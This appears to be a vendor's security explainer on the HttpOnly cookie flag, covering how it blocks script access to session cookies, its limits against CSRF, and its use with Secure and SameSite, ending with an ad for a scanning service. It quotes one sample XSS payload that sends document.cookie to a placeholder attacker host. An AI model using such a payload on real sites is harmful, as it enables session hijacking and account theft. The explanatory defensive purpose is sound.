HttpOnly Cookies
HttpOnly is a cookie attribute that prevents client-side JavaScript from accessing the cookie through document.cookie, protecting session tokens and other sensitive cookies from theft via XSS attacks.
Understanding HttpOnly Cookies
When a cookie is set with the HttpOnly flag, it is still sent with every HTTP request to the server (in the Cookie header) but cannot be read, modified, or deleted by JavaScript running on the page. This is a critical defense against XSS-based session theft — even if an attacker injects a script that executes in the user's browser, document.cookie will not include HttpOnly cookies.
The HttpOnly flag specifically addresses one of the highest-impact XSS exploitation techniques: stealing session cookies. Without HttpOnly, an XSS payload like new Image().src = "https://evil.com/steal?c=" + document.cookie sends all accessible cookies to the attacker's server. With HttpOnly on the session cookie, this attack fails because the session cookie is not accessible to JavaScript.
HttpOnly is set by the server when issuing the Set-Cookie header: Set-Cookie: sessionId=abc123; HttpOnly; Secure; SameSite=Lax. It cannot be set by client-side JavaScript (document.cookie cannot create HttpOnly cookies). This is intentional — only the server should control whether a cookie is accessible to scripts.
Important caveat: HttpOnly does not prevent all cookie-based attacks. CSRF attacks still work because the browser sends HttpOnly cookies with requests automatically. HttpOnly also does not prevent the cookie from being sent over HTTP (use the Secure flag for that) or from being sent on cross-origin requests (use SameSite for that). HttpOnly specifically prevents JavaScript reading.
Why This Matters for Vibe-Coded Apps
AI-generated authentication code often stores session tokens in regular cookies or localStorage instead of using HttpOnly cookies. When the AI implements a login flow, it frequently sets cookies from JavaScript (which cannot be HttpOnly) rather than having the server set them. This leaves session tokens exposed to XSS attacks.
For vibe-coded apps using custom authentication, ensure session cookies are set by the server with the HttpOnly flag. If using Next.js, set cookies in API routes or server actions. If using Supabase or Firebase Auth, the SDK handles cookie flags correctly — but custom auth implementations need explicit attention to cookie security flags.
Real-World Examples
XSS Session Theft Prevention
A study of XSS exploits found that over 70% of XSS attacks include a document.cookie exfiltration component. Adding the HttpOnly flag to session cookies renders these payloads ineffective for session theft, forcing attackers to use more complex techniques like phishing within the XSS context.
PHPMyAdmin Session Cookie Upgrade
PHPMyAdmin added the HttpOnly flag to its session cookies after multiple XSS vulnerabilities demonstrated that attackers could steal admin database sessions. The flag did not fix the XSS bugs but eliminated the highest-impact exploitation vector while patches were developed.
OWASP Recommendation
OWASP lists HttpOnly cookies as a fundamental security control in their session management guidelines. The organization recommends that all session identifiers, authentication tokens, and CSRF tokens be stored in HttpOnly cookies unless there is a specific technical requirement for JavaScript access.
Frequently Asked Questions
Does HttpOnly completely prevent XSS exploitation?
No. HttpOnly prevents XSS from stealing cookies, but XSS can still perform actions as the user (because the browser sends HttpOnly cookies automatically with requests), modify the page content, capture keystrokes, redirect the user, display phishing content within the trusted domain, and read sensitive data displayed on the page. HttpOnly reduces the impact of XSS but does not eliminate it — you still need to prevent XSS through output encoding and CSP.
When should I NOT use HttpOnly?
Do not use HttpOnly on cookies that your frontend JavaScript needs to read. For example, a cookie storing UI preferences (theme, language), a CSRF token that JavaScript needs to include in request headers, or a cookie that tracks client-side state. Session tokens and authentication cookies should almost always be HttpOnly. Only omit HttpOnly when JavaScript access is a functional requirement.
Can I set HttpOnly cookies from JavaScript?
No. The HttpOnly flag can only be set by the server through the Set-Cookie HTTP response header. JavaScript's document.cookie API cannot create or modify HttpOnly cookies. This is an intentional security design — if JavaScript could set HttpOnly, XSS could remove the flag from existing cookies. The server must handle all creation and modification of HttpOnly cookies.
How does HttpOnly interact with Secure and SameSite?
These three flags serve different purposes and should typically be used together. HttpOnly prevents JavaScript access. Secure ensures the cookie is only sent over HTTPS. SameSite controls cross-origin cookie sending. For session cookies, the recommended configuration is: Set-Cookie: session=value; HttpOnly; Secure; SameSite=Lax. Each flag addresses a different attack vector, and they complement each other.
Is Your App Protected?
VAS automatically scans for vulnerabilities related to httponly cookies and provides detailed remediation guidance. Our scanner targets issues common in AI-generated applications.
Scans from $5, results in minutes. Get actionable fixes tailored to your stack.
Get Starter Scan